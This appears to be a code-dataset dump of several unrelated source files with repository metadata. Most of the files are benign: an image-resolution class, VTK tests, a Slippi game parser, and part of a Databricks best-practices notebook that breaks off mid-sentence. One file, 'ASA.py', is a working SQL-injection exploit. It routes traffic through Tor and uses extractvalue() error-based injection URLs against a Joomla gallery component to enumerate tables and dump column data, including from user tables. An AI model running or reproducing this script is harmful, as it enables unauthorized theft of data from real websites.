[ "MIT" ]
12
2015-07-08T04:48:39.000Z
2020-06-27T11:35:58.000Z
# ----------------------------------------------------------------------------- # Module: dpa.imgres # Author: Chuqiao Wang (chuqiaw) # ----------------------------------------------------------------------------- """An image resolution API An image resolution API that handles resolution change. Classes ------- ImgRes A class that represents an image resolution ImgResError Syntax error when parsing an image resolution Examples -------- >>> from dpa.imgres import ImgRes >>> ir = ImgRes(width=1920, height=1080) >>> ir.width 1920 >>> ir.height 1080 >>> ir.aspect 1.7777777777777 >>> ir.pixels 2073600 >>> ir_half = ir / 2 >>> ir_half.width 960 >>> ir_half.height 540 >>> ir_double = ir.double >>> ir_double.width 3840 >>> ir_double.height 2160 >>> ir > ir_double False >>> ir > ir_half True >>> ImgRes.get("1920x1080") 1920x1080 """ # ----------------------------------------------------------------------------- # Imports: # ----------------------------------------------------------------------------- import re import sys # ----------------------------------------------------------------------------- # Public Classes: # ----------------------------------------------------------------------------- class ImgRes(object): """An image resolution API that handles resolution change. """ # ------------------------------------------------------------------------- # Class attributes: # ------------------------------------------------------------------------- _pattern = re.compile("^([0-9]+)(x)([0-9]+)$") # ------------------------------------------------------------------------- # Special methods: # ------------------------------------------------------------------------- def __init__(self, width, height): """Constructor. :arg str res: The original image resolution :keyword int width: image width :keyword int height: image height """ super(ImgRes, self).__init__() self._width = width self._height = height def __str__(self): return str(self._width) + "x" + str(self._height) def __mul__(self, factor): """ Multiplication operator overloading :arg int factor: The multiplication factor """ new_width = self.width * factor new_height = self.height * factor return ImgRes(new_width, new_height) def __div__(self, factor): """ Division operator overloading :arg int factor: The division factor """ new_width = self.width / factor new_height = self.height / factor return ImgRes(new_width, new_height) def __lt__(self, other_img_res): """ Less than comparison operator overloading :arg ImgRes other_img_res: The ImgRes object to be compared with """ return self.pixels < other_img_res.pixels def __gt__(self, other_img_res): """ Greater than comparison operator overloading :arg ImgRes other_img_res: The ImgRes object to be compared with """ return self.pixels > other_img_res.pixels def __eq__(self, other_img_res): """ Equal to comparison operator overloading :arg ImgRes other_img_res: The ImgRes object to be compared with """ return self._width == other_img_res.width and self.height == other_img_res.height # ------------------------------------------------------------------------- # Static methods: # ------------------------------------------------------------------------- @staticmethod def get(input_res): """ Return an ImgRes object with specified resolution :arg str input_res: image resolution """ match = ImgRes._pattern.match(input_res) if not match: raise ImgResError("invalid syntax for image resolution") else: groups = match.groups() width = int(groups[0]) height = int(groups[2]) return ImgRes(width, height) # ------------------------------------------------------------------------- # Properties: # ------------------------------------------------------------------------- @property def width(self): """width of the image""" return self._width @property def height(self): """height of the image""" return self._height @property def aspect(self): """aspect ratio of the image""" return self._width / float(self._height) @property def pixels(self): """number of piexels""" return self._width * self._height @property def half(self): """new ImgRes object with half resolution""" return self.__div__(2) @property def double(self): """new ImgRes object with double resolution""" return self.__mul__(2) # ----------------------------------------------------------------------------- # Exceptions: # ----------------------------------------------------------------------------- class ImgResError(Exception): """Invalid image resolution syntax """ pass
28.101604
89
0.458421
465
5,255
4.982796
0.253763
0.038843
0.047475
0.025896
0.336642
0.308157
0.257229
0.257229
0.216659
0.216659
0
0.018859
0.233111
5,255
186
90
28.252688
0.556079
0.579258
0
0.148148
0
0
0.029141
0.010736
0
0
0
0
0
1
0.259259
false
0.018519
0.037037
0.018519
0.592593
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
9cc0f623f259d9dd7987219c57a67d4e2e727f9c
2,804
py
Python
tests/cloudcraft_graph_test.py
tjunnone/modules.tf-lambda
d631fcc3dbea752e5ed3ba23ce59ab47b4dc28e7
[ "MIT" ]
312
2018-09-15T12:56:49.000Z
2022-03-14T06:04:06.000Z
tests/cloudcraft_graph_test.py
tjunnone/modules.tf-lambda
d631fcc3dbea752e5ed3ba23ce59ab47b4dc28e7
[ "MIT" ]
30
2018-09-15T17:41:29.000Z
2021-09-30T02:08:10.000Z
tests/cloudcraft_graph_test.py
tjunnone/modules.tf-lambda
d631fcc3dbea752e5ed3ba23ce59ab47b4dc28e7
[ "MIT" ]
48
2018-09-17T12:05:16.000Z
2022-01-20T11:35:51.000Z
# #!/usr/bin/env pytest # # from json import loads # from os import environ # # import pytest # from modulestf.cloudcraft.graph import populate_graph # # events = ( # ( # { # "AlarmType": "Unsupported alarm type", # "AWSAccountId": "000000000000", # "NewStateValue": "ALARM", # } # ), # ( # { # "Records": [ # { # "EventSource": "aws:sns", # "EventVersion": "1.0", # "EventSubscriptionArn": "arn:aws:sns:OMITTED:OMITTED:slack-notification:15405ea9-77dc-40d4-ba55-3f87997e5abb", # "Sns": { # "Type": "Notification", # "MessageId": "7c9f6458-2b6c-55f4-aee9-3222e6745e5a", # "TopicArn": "arn:aws:sns:OMITTED:OMITTED:slack-notification", # "Subject": "RDS Notification Message", # "Message": "{\"Event Source\":\"db-snapshot\",\"Event Time\":\"2019-12-23 14:10:24.176\",\"IdentifierLink\":\"https://console.aws.amazon.com/rds/home?region=OMITTED#snapshot:id=MY-TEST\"}", # "Timestamp": "2019-12-23T14:10:32.199Z", # "SignatureVersion": "1", # "Signature": "kPGKHJ9rWTgK0Lw/UJow59z4B6cjoPfbnYlwDCbO/Wk/IlPmqjQMib94+GqozIPw4F9QEwwzb7RyaQ4IC3/iBoPYM5shVXkxdl2I8a7fyYqer4QgJWCUijZ60HhYZ7m2WeO7NJei5/8ahtLtyIPoD+8rHNiGJ9JV2RXokdsgWzbXIhbsQ6xGmcbwNe5FkpiqTcw7/52uJUWyUUcRz1E/BZEC5kFAw///u8JlioRmIC95e0isq724+5hf3BEryab3HC+5+BlWMPGug4FQ8kS8rquiXLKTl/e4ubFqz1GEUjiNoNXHqOqm9Bq+WNcBrmKMGNGhzr6In8Kh4srr56oGfQ==", # "SigningCertUrl": "https://sns.OMITTED.amazonaws.com/SimpleNotificationService-6aad65c2f9911b05cd53efda11f913f9.pem", # "UnsubscribeUrl": "https://sns.OMITTED.amazonaws.com/?Action=Unsubscribe&SubscriptionArn=arn:aws:sns:OMITTED:OMITTED:slack-notification:15405ea9-77dc-40d4-ba55-3f87997e5abb", # "MessageAttributes": {} # } # } # ] # } # ) # ) # # # @pytest.fixture(scope='module', autouse=True) # def check_environment_variables(): # required_environment_variables = ("AA") # missing_environment_variables = [] # for k in required_environment_variables: # if k not in environ: # missing_environment_variables.append(k) # # if len(missing_environment_variables) > 0: # pytest.exit('Missing environment variables: {}'.format(", ".join(missing_environment_variables))) # # # @pytest.mark.parametrize("event", events) # def test_cloudcraft_graph(event): # # if 'Records' in event: # # response = notify_slack.lambda_handler(event, 'self-context') # # # # else: # file = open(event, 'r') # data = json.load(file) # # graph = populate_graph(data) # # # response = loads(response) # assert graph is not False
40.637681
376
0.633738
248
2,804
7.084677
0.572581
0.091064
0.076836
0.027319
0.135458
0.104724
0.104724
0.081958
0.081958
0.081958
0
0.084699
0.216833
2,804
68
377
41.235294
0.715392
0.948645
0
null
0
null
0
0
null
0
0
0
null
1
null
true
0
0
null
null
null
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
2
9cc160beb6165b7a466d49703239fd9fc178d421
393
py
Python
lmchallenge/core/__init__.py
Bhaskers-Blu-Org2/LMChallenge
80d1d26fb8bd4810dce70e6071b92add6051ae47
[ "MIT" ]
50
2017-10-08T17:26:55.000Z
2019-02-06T17:21:52.000Z
lmchallenge/core/__init__.py
Microsoft/LMChallenge
80d1d26fb8bd4810dce70e6071b92add6051ae47
[ "MIT" ]
1
2019-12-13T15:11:22.000Z
2019-12-13T15:11:22.000Z
lmchallenge/core/__init__.py
microsoft/LMChallenge
80d1d26fb8bd4810dce70e6071b92add6051ae47
[ "MIT" ]
7
2019-11-03T16:18:32.000Z
2021-09-13T12:48:46.000Z
# Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT license. '''Core components supporting LM Challenge, defining `lmchallenge.core.model.Model`, as well as various utilities for implementing the top-level functionality (which lives in the other submodules). ''' from .model import FilteringWordModel, Model, WordModel # NOQA from .common import * # NOQA
32.75
64
0.776081
50
393
6.1
0.8
0
0
0
0
0
0
0
0
0
0
0
0.145038
393
11
65
35.727273
0.907738
0.750636
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
2
9cc16ac91ee45af011e16d809d5da4f9ddecff7e
7,719
py
Python
SCRIPTS/ASA/ASA.py
TheNoiselessNoise/RandomGarbage
f9663fc705dee6e214a0e6c8f5996a5a1c97f99b
[ "MIT" ]
null
null
null
SCRIPTS/ASA/ASA.py
TheNoiselessNoise/RandomGarbage
f9663fc705dee6e214a0e6c8f5996a5a1c97f99b
[ "MIT" ]
1
2022-02-19T08:38:56.000Z
2022-02-19T08:38:56.000Z
SCRIPTS/ASA/ASA.py
TheNoiselessNoise/RandomGarbage
f9663fc705dee6e214a0e6c8f5996a5a1c97f99b
[ "MIT" ]
null
null
null
# # VERSION: 69 # NAME: AngerSadnessAlcohol.py # # ! This script was created under the influence of anger, sadness and alcohol. # ! This script exploits an old XPath vulnerability which involves extractvalue() # # ---------------------------------------- # ____ ________.___._____________________ # \ \/ /\__ | |\____ /\__ ___/ # \ / / | | / / | | # / \ \____ | / /_ | | # /___/\__\ / ______|/_______ \ |____| # \/ \/ # ---------------------------------------- # # FOR YOU [[[CENSORED]]] # import urllib.request import re import socks import sys import socket # does this even work??? sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) res = sock.connect_ex(("127.0.0.1", 9150)) if res == 0: socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "localhost", 9150) socks.wrapmodule(urllib.request) host = "HOST IS INDEFINITE TO YOU" get_databases_url = host + "/index.php?catid=208&func=watermark&id=6228&Itemid=%27%20and%20extractvalue(6678%2Cconcat(0x7e%2C(select%20schema_name%20from%20information_schema.schemata%20LIMIT%201%20OFFSET%200)%2C0x7e))--%20-&option=com_joomgallery--#" # just execute get_tables_url = host + "/index.php?catid=208&func=watermark&id=6228&Itemid=%27%20and%20extractvalue(6678%2Cconcat(0x7e%2C(select%20table_name%20from%20information_schema.tables%20where%20table_schema%3Ddatabase()%20LIMIT%201%20OFFSET%20{})%2C0x7e))--%20-&option=com_joomgallery--#" # just execute get_columns_url = host + "/index.php?catid=208&func=watermark&id=6228&Itemid=%27%20and%20extractvalue(6678%2Cconcat(0x7e%2C(select%20column_name%20from%20information_schema.columns%20where%20table_name%3D'{}'%20LIMIT%201%20OFFSET%20{})%2C0x7e))--%20-&option=com_joomgallery--#" # [table] get_t_col_data = host + "/index.php?catid=208&func=watermark&id=6228&Itemid=%27%20and%20extractvalue(6678%2Cconcat(0x7e%2C(select%20{}%20from%20{}%20LIMIT%201%20OFFSET%20{})%2C0x7e))--%20-&option=com_joomgallery--#" # [col, table] count_dbs = host + "/index.php?catid=208&func=watermark&id=6228&Itemid=%27%20and%20extractvalue(6678%2Cconcat(0x7e%2C(select%20count(*)%20from%20information_schema.schemata%20LIMIT%201%20OFFSET%200)%2C0x7e))--%20-&option=com_joomgallery--#" # just execute count_tables_url = host + "/index.php?catid=208&func=watermark&id=6228&Itemid=%27%20and%20extractvalue(6678%2Cconcat(0x7e%2C(select%20count(*)%20from%20information_schema.tables%20where%20table_schema%3Ddatabase()%20LIMIT%201%20OFFSET%200)%2C0x7e))--%20-&option=com_joomgallery--#" # just execute count_columns_url = host + "/index.php?catid=208&func=watermark&id=6228&Itemid=%27%20and%20extractvalue(6678%2Cconcat(0x7e%2C(select%20count(*)%20from%20information_schema.columns%20where%20table_name%3D'{}'%20LIMIT%201%20OFFSET%200)%2C0x7e))--%20-&option=com_joomgallery--#" # [table] count_data_url = host + "/index.php?catid=208&func=watermark&id=6228&Itemid=%27%20and%20extractvalue(6678%2Cconcat(0x7e%2C(select%20count(*)%20from%20{}%20LIMIT%201%20OFFSET%200)%2C0x7e))--%20-&option=com_joomgallery--#" # [table] char_length = host + "/index.php?catid=208&func=watermark&id=6228&Itemid=%27%20and%20extractvalue(6678%2Cconcat(0x7e%2C(SELECT%20CHAR_LENGTH({})%20FROM%20{}%20LIMIT%201%20OFFSET%20{})%2C0x7e))--%20-&option=com_joomgallery--#" # [col, table, index] substring = host + "/index.php?catid=208&func=watermark&id=6228&Itemid=%27%20and%20extractvalue(6678%2Cconcat(0x7e%2C(SELECT%20SUBSTRING({},{},{})%20FROM%20{}%20LIMIT%201%20OFFSET%20{})%2C0x7e))--%20-&option=com_joomgallery--#" # [col, index, length, table, offset] # TABLES AR DUMPED tables = ["#__mt_archived_log","#__mt_archived_reviews","#__mt_archived_users","#__mt_cats","#__mt_cfvalues","#__mt_cfvalues_att","#__mt_cl","#__mt_claims","#__mt_clone_owners","#__mt_config","#__mt_configgroup","#__mt_customfields","#__mt_favourites","#__mt_fieldtypes","#__mt_fieldtypes_att","#__mt_fieldtypes_info","#__mt_images","#__mt_linkcheck","#__mt_links","#__mt_log","#__mt_relcats","#__mt_reports","#__mt_reviews","#__mt_searchlog","#__mt_templates","jos_banner","jos_bannerclient","jos_bannertrack","jos_categories","jos_community_activity","jos_community_events","jos_components","jos_contact_details","jos_content","jos_content_frontpage","jos_content_rating","jos_core_acl_aro","jos_core_acl_aro_groups","jos_core_acl_aro_map","jos_core_acl_aro_sections","jos_core_acl_groups_aro_map","jos_core_log_items","jos_core_log_searches","jos_dbcache","jos_extending_field_list","jos_groups","jos_jce_extensions","jos_jce_groups","jos_jce_plugins","jos_je_config","jos_jf_content","jos_jf_tableinfo","jos_joomgallery","jos_joomgallery_catg","jos_joomgallery_comments","jos_joomgallery_config","jos_joomgallery_countstop","jos_joomgallery_nameshields","jos_joomgallery_users","jos_joomgallery_votes","jos_juser_integration","jos_juser_integration_cash","None","None","jos_languages","jos_menu","jos_menu_types","jos_messages","jos_messages_cfg","jos_migration_backlinks","jos_modules","jos_modules_menu","jos_newsfeeds","jos_plugins","jos_poll_data","jos_poll_date","jos_poll_menu","jos_polls","jos_sections","jos_session","jos_stats_agents","jos_templates_menu","jos_users","jos_users_extended_data","jos_weblinks","jos_xmap","jos_xmap_ext","jos_xmap_sitemap"] columns = [] column_len = 0 data_len = 0 def getURLData(url, y=True): # one-time execute fp = urllib.request.urlopen(url) fbytes = fp.read() fstr = fbytes.decode("utf-8") if y: match = re.search(r"'~(.*?)~'", fstr) else: match = re.search(r"'~(.*?)'", fstr) fp.close() if match: data = str(match.group(1)) if data[len(data) - 1] == "~": data = data[:-1] if data[0] == "~": data = data[1:] return data def getWhole(col, tab, index): offset = 20 pass_len = int(getURLData(char_length.format(col, tab, index))) whole = "" for i in range(round(pass_len / offset) + 1): whole += getURLData(substring.format(col, (i * offset) + 1, offset, tab, index)) print(whole, end="\r") return whole def main(): # printing already dumped names of tables, it's faster for i in range(len(tables)): print("{}. {}".format(i, tables[i])) user = int(input("Choose table [number]: ")) # count how many columns are in table column_len = int(getURLData(count_columns_url.format(tables[user]))) # getting columns for i in range(column_len): columns.append(getURLData(get_columns_url.format(tables[user], i))) print("{}: {} \033[K".format(i, columns[len(columns) - 1]), end="\r\n\r") print("Got {}/{} of Columns".format(len(columns), column_len), end="\r") user_cols = input("Column/s [number] (separated by space): ").split(" ") # 30 characters max in output user_substr = input("Could be some column/s longer than =~30 characters? If yes, type number/s of it here (separated by space): ").split(" ") # count how many rows are in table data_len = int(getURLData(count_data_url.format(tables[user]))) print("Number of rows: {}\n\n\t|||||>|>|>| [CENSORED] SKLV |<|<|<|||||\n".format(data_len)) # GET PWNED for j in range(data_len): for i in user_cols: if i in user_substr: # DO SUBSTRING MAGIC print("{}: {} \033[K".format(columns[int(i)], getWhole(columns[int(i)], tables[user], j)), end="\r\n\r") print("Got {}/{} of Rows".format(j, data_len), end="\r") else: print("{}: {} \033[K".format(columns[int(i)], getURLData(get_t_col_data.format(columns[int(i)], tables[user], j), False)), end="\r\n\r") print("Got {}/{} of Rows".format(j, data_len), end="\r") if len(user_cols) > 1: print("---- \033[K", end="\r\n\r") print("Got {}/{} of Rows".format(j + 1, data_len), end="\r") input("Again?") main() if __name__ == "__main__": main()
59.376923
1,667
0.708641
1,084
7,719
4.719557
0.262915
0.017592
0.023456
0.033229
0.425723
0.408131
0.398554
0.385262
0.381939
0.370211
0
0.069133
0.093017
7,719
129
1,668
59.837209
0.66162
0.125534
0
0.077922
0
0.142857
0.612461
0.398867
0
0
0.005962
0
0
1
0.038961
false
0.025974
0.064935
0
0.12987
0.142857
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
9cc7819e0e279c62897d4613efb18da65b50e15d
2,922
py
Python
tests/test_vtkgenerator.py
donghaozhang/swc2vtk
285e4981a3f1f54b8f819f3490f2e451569ce541
[ "Apache-2.0" ]
9
2018-10-28T16:02:41.000Z
2022-03-15T17:33:59.000Z
tests/test_vtkgenerator.py
donghaozhang/swc2vtk
285e4981a3f1f54b8f819f3490f2e451569ce541
[ "Apache-2.0" ]
9
2017-01-14T15:34:43.000Z
2021-06-07T11:04:43.000Z
tests/test_vtkgenerator.py
donghaozhang/swc2vtk
285e4981a3f1f54b8f819f3490f2e451569ce541
[ "Apache-2.0" ]
4
2017-01-20T10:01:32.000Z
2022-03-20T04:24:31.000Z
# -*- coding: utf-8 -*- import unittest import os import swc2vtk class TestVtkGenerator(unittest.TestCase): @classmethod def setUpClass(cls): pass @classmethod def tearDownClass(cls): pass def setUp(self): self.swc_file_path = os.path.join('tests', 'simple.swc') self.data_file_path = os.path.join('tests', 'simple.dat') self.output_file_path = os.path.join('output.vtk') self.vtk_generator = swc2vtk.VtkGenerator() def tearDown(self): self.vtk_generator.write_vtk(self.output_file_path) def test_add_cylinder(self): self.vtk_generator.add_cylinder() def test_add_swc(self): simple_cmp_size = 11 self.vtk_generator.add_swc(self.swc_file_path) self.assertEqual(simple_cmp_size, len(self.vtk_generator.swc_list[0].data)) def test_add_swc_flip(self): simple_cmp_size = 11 self.vtk_generator.add_swc(self.swc_file_path, inv_x=True, inv_y=True, inv_z=True, shift_x=100, shift_y=100, shift_z=100) self.assertEqual(simple_cmp_size, len(self.vtk_generator.swc_list[0].data)) def test_add_datafile(self): simple_cmp_size = 11 self.vtk_generator.add_swc(self.swc_file_path) self.vtk_generator.add_datafile(self.data_file_path) self.assertEqual(simple_cmp_size, len(self.vtk_generator.swc_list[0].data)) def test_draw_mode1(self): self.vtk_generator.set_draw_mode(1) self.vtk_generator.add_swc(self.swc_file_path) def test_draw_mode2(self): self.vtk_generator.set_draw_mode(2) self.vtk_generator.add_swc(self.swc_file_path) def test_draw_mode3(self): self.vtk_generator.set_draw_mode(3) self.vtk_generator.add_swc(self.swc_file_path) def test_draw_mode4(self): self.vtk_generator.set_draw_mode(4) self.vtk_generator.add_swc(self.swc_file_path) def test_write_vtk_options(self): self.vtk_generator.add_swc(self.swc_file_path) self.vtk_generator.write_vtk(self.output_file_path, fixedval=True, movingval=True, coloring=True, diam_ratio=0.2, normalize_diam=True, radius_data=True, type_data=True) def test_write_volume_vtk(self): self.vtk_generator.add_swc(self.swc_file_path) self.vtk_generator.write_volume_vtk('simple.vtk', origin=(-10.0, -10.0, -10.0), ratio=(1, 1, 1), div=(20, 20, 20))\ def test_add_mark(self): self.vtk_generator.add_swc(self.swc_file_path) self.vtk_generator.add_mark() def test_add_swc_connection(self): self.vtk_generator.add_swc(self.swc_file_path) self.vtk_generator.add_swc_connection(0, 0, 100, 200) def suite(): suite = unittest.TestSuite() suite.addTests(unittest.makeSuite(TestVtkGenerator)) return suite if __name__ == '__main__': unittest.main()
33.204545
123
0.688569
429
2,922
4.342657
0.202797
0.097692
0.223296
0.152979
0.601181
0.577563
0.577563
0.479871
0.479871
0.446055
0
0.024464
0.202601
2,922
87
124
33.586207
0.775107
0.007187
0
0.3125
0
0
0.020007
0
0
0
0
0
0.046875
1
0.265625
false
0.03125
0.046875
0
0.34375
0
0
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
2
9ce23585137a4d241eee75f867acc530ed807d92
311
py
Python
Part-03-Understanding-Software-Crafting-Your-Own-Tools/models/edx-platform/lms/djangoapps/instructor/settings/devstack.py
osoco/better-ways-of-thinking-about-software
83e70d23c873509e22362a09a10d3510e10f6992
[ "MIT" ]
3
2021-12-15T04:58:18.000Z
2022-02-06T12:15:37.000Z
Part-03-Understanding-Software-Crafting-Your-Own-Tools/models/edx-platform/lms/djangoapps/instructor/settings/devstack.py
osoco/better-ways-of-thinking-about-software
83e70d23c873509e22362a09a10d3510e10f6992
[ "MIT" ]
null
null
null
Part-03-Understanding-Software-Crafting-Your-Own-Tools/models/edx-platform/lms/djangoapps/instructor/settings/devstack.py
osoco/better-ways-of-thinking-about-software
83e70d23c873509e22362a09a10d3510e10f6992
[ "MIT" ]
1
2019-01-02T14:38:50.000Z
2019-01-02T14:38:50.000Z
"""Devstack environment variables unique to the instructor plugin.""" def plugin_settings(settings): """Settings for the instructor plugin.""" # Set this to the dashboard URL in order to display the link from the # dashboard to the Analytics Dashboard. settings.ANALYTICS_DASHBOARD_URL = None
34.555556
73
0.745981
41
311
5.585366
0.536585
0.065502
0.165939
0
0
0
0
0
0
0
0
0
0.18328
311
8
74
38.875
0.901575
0.662379
0
0
0
0
0
0
0
0
0
0
0
1
0.5
false
0
0
0
0.5
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
2
9ce4e4aef491c9f3acb02bed3e69182f7ffb51db
1,136
py
Python
treefrog/parse/parsers.py
dawsonbooth/treefrog
0ff0866b3ba9b316e4e719aab6113f82d79c98a9
[ "MIT" ]
1
2022-01-16T17:27:40.000Z
2022-01-16T17:27:40.000Z
treefrog/parse/parsers.py
dawsonbooth/treefrog
0ff0866b3ba9b316e4e719aab6113f82d79c98a9
[ "MIT" ]
null
null
null
treefrog/parse/parsers.py
dawsonbooth/treefrog
0ff0866b3ba9b316e4e719aab6113f82d79c98a9
[ "MIT" ]
null
null
null
from __future__ import annotations import calendar from datetime import timezone from slippi import Game from .utils import character_name, characters, stage_name def matchup(game: Game) -> str: c1, c2 = tuple(characters(game)) return f"{character_name(c1)} vs {character_name(c2)}" def stage(game: Game) -> str: return stage_name(game.start.stage) def timestamp(game: Game) -> str: utc_dt = game.metadata.date dt = utc_dt.replace(tzinfo=timezone.utc).astimezone(tz=None) return f"{dt.year}{dt.month:02}{dt.day:02}T{dt.hour:02}{dt.minute:02}{dt.second:02}" def year(game: Game) -> str: return str(game.metadata.date.year) def month(game: Game) -> str: return calendar.month_name[game.metadata.date.month] def day(game: Game) -> str: return str(game.metadata.date.day) def hour(game: Game) -> str: return str(game.metadata.date.hour) def minute(game: Game) -> str: return str(game.metadata.date.minute) def second(game: Game) -> str: return str(game.metadata.date.second) __all__ = "matchup", "stage", "timestamp", "year", "month", "day", "hour", "minute", "second"
22.27451
93
0.691901
170
1,136
4.529412
0.252941
0.093506
0.128571
0.154545
0.233766
0.233766
0.233766
0.233766
0
0
0
0.014599
0.15581
1,136
50
94
22.72
0.788321
0
0
0
0
0.037037
0.147007
0.065141
0
0
0
0
0
1
0.333333
false
0
0.185185
0.259259
0.851852
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
0
0
0
2
140df9c6eb41ab5073d000f8b32c18d9ceaf5645
2,358
py
Python
arvet/batch_analysis/tasks/tests/test_train_system_task.py
jskinn/arvet
742cf3e7ee8848c4efebfaa887fc9c0fd90a06e9
[ "BSD-2-Clause" ]
2
2021-05-27T21:48:34.000Z
2021-06-12T02:58:44.000Z
arvet/batch_analysis/tasks/tests/test_train_system_task.py
jskinn/arvet
742cf3e7ee8848c4efebfaa887fc9c0fd90a06e9
[ "BSD-2-Clause" ]
null
null
null
arvet/batch_analysis/tasks/tests/test_train_system_task.py
jskinn/arvet
742cf3e7ee8848c4efebfaa887fc9c0fd90a06e9
[ "BSD-2-Clause" ]
null
null
null
# # Copyright (c) 2017, John Skinner # import unittest # import numpy as np # import bson # import arvet.database.tests.test_entity # import arvet.util.dict_utils as du # import arvet.batch_analysis.task # import arvet.batch_analysis.tasks.train_system_task as task # # # class TestTrainSystemTask(arvet.database.tests.test_entity.EntityContract, unittest.TestCase): # # def get_class(self): # return task.TrainSystemTask # # def make_instance(self, *args, **kwargs): # kwargs = du.defaults(kwargs, { # 'trainer_id': bson.ObjectId(), # 'trainee_id': bson.ObjectId(), # 'state': arvet.batch_analysis.task.JobState.RUNNING, # 'num_cpus': np.random.randint(0, 1000), # 'num_gpus': np.random.randint(0, 1000), # 'memory_requirements': '{}MB'.format(np.random.randint(0, 50000)), # 'expected_duration': '{0}:{1}:{2}'.format(np.random.randint(1000), np.random.randint(60), # np.random.randint(60)), # 'node_id': 'node-{}'.format(np.random.randint(10000)), # 'job_id': np.random.randint(1000) # }) # return task.TrainSystemTask(*args, **kwargs) # # def assert_models_equal(self, task1, task2): # """ # Helper to assert that two tasks are equal # We're going to violate encapsulation for a bit # :param task1: # :param task2: # :return: # """ # if (not isinstance(task1, task.TrainSystemTask) or # not isinstance(task2, task.TrainSystemTask)): # self.fail('object was not an TrainSystemTask') # self.assertEqual(task1.identifier, task2.identifier) # self.assertEqual(task1.trainer, task2.trainer) # self.assertEqual(task1.trainee, task2.trainee) # self.assertEqual(task1._state, task2._state) # self.assertEqual(task1.node_id, task2.node_id) # self.assertEqual(task1.job_id, task2.job_id) # self.assertEqual(task1.result, task2.result) # self.assertEqual(task1.num_cpus, task2.num_cpus) # self.assertEqual(task1.num_gpus, task2.num_gpus) # self.assertEqual(task1.memory_requirements, task2.memory_requirements) # self.assertEqual(task1.expected_duration, task2.expected_duration)
44.490566
103
0.627226
269
2,358
5.371747
0.360595
0.114187
0.152249
0.033218
0.066436
0
0
0
0
0
0
0.037989
0.240882
2,358
52
104
45.346154
0.769274
0.954623
0
null
0
null
0
0
null
0
0
0
null
1
null
true
0
0
null
null
null
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
2
142f4fef613fe5b10d3d4e11b562d9391652b140
6,527
py
Python
Scalable-Machine-Learning-with-Apache-Spark/ML Electives/MLE 05 - Databricks Best Practices.py
databricks-academy/scalable-machine-learning-with-apache-spark
2b560dea766e2e6589defaaf6d9d15f361ce6db6
[ "CC0-1.0" ]
null
null
null
Scalable-Machine-Learning-with-Apache-Spark/ML Electives/MLE 05 - Databricks Best Practices.py
databricks-academy/scalable-machine-learning-with-apache-spark
2b560dea766e2e6589defaaf6d9d15f361ce6db6
[ "CC0-1.0" ]
null
null
null
Scalable-Machine-Learning-with-Apache-Spark/ML Electives/MLE 05 - Databricks Best Practices.py
databricks-academy/scalable-machine-learning-with-apache-spark
2b560dea766e2e6589defaaf6d9d15f361ce6db6
[ "CC0-1.0" ]
8
2021-12-09T19:40:48.000Z
2022-03-24T19:19:42.000Z
# Databricks notebook source # MAGIC %md-sandbox # MAGIC # MAGIC <div style="text-align: center; line-height: 0; padding-top: 9px;"> # MAGIC <img src="https://databricks.com/wp-content/uploads/2018/03/db-academy-rgb-1200px.png" alt="Databricks Learning" style="width: 600px"> # MAGIC </div> # COMMAND ---------- # MAGIC %md # Databricks Best Practices # MAGIC # MAGIC In this notebook, we will explore a wide array of best practices for working with Databricks. # MAGIC # MAGIC ## ![Spark Logo Tiny](https://files.training.databricks.com/images/105/logo_spark_tiny.png) In this lesson you:<br> # MAGIC - Explore a general framework for debugging slow running jobs # MAGIC - Identify the security implications of various data access paradigms # MAGIC - Determine various cluster configuration issues including machine types, libraries, and jobs # MAGIC - Integrate Databricks notebooks and jobs with version control and the CLI # COMMAND ---------- # MAGIC %md ## Slow Running Jobs # MAGIC # MAGIC The most common issues with slow running jobs are:<br><br> # MAGIC # MAGIC - **`Spill`**: Data is exhausting the cluster's memory and is spilling onto disk. Resolution: a cluster with more memory resources # MAGIC - **`Shuffle`**: Large amounts of data are being transferred across the cluster. Resolution: optimize joins or refactor code to avoid shuffles # MAGIC - **`Skew/Stragglers`**: Partitioned data (in files or in memory) is skewed causing the "curse of the last reducer" where some partitions take longer to run. Resolution: repartition to a multiple of the available cores or use skew hints # MAGIC - **`Small/Large Files`**: Too many small files are exhausting cluster resources since each file read needs its own thread or few large files are causing unused threads. Resolution: rewrite data in a more optimized way or perform Delta file compaction # MAGIC # MAGIC Your debugging toolkit:<br><br> # MAGIC # MAGIC - Ganglia for CPU, network, and memory resources at a cluster or node level # MAGIC - Spark UI for most everything else (especially the storage and executor tabs) # MAGIC - Driver or worker logs for errors (especially with background processes) # MAGIC - Notebook tab of the clusters section to see if the intern is hogging your cluster again # COMMAND ---------- # MAGIC %md ## Data Access and Security # MAGIC # MAGIC A few notes on data access:<br><br> # MAGIC # MAGIC * <a href="https://docs.databricks.com/data/databricks-file-system.html#mount-storage" target="_blank">Mount data for easy access</a> # MAGIC * <a href="https://docs.databricks.com/dev-tools/cli/secrets-cli.html#secrets-cli" target="_blank">Use secrets to secure credentials</a> (this keeps credentials out of the code) # MAGIC * Credential passthrough works in <a 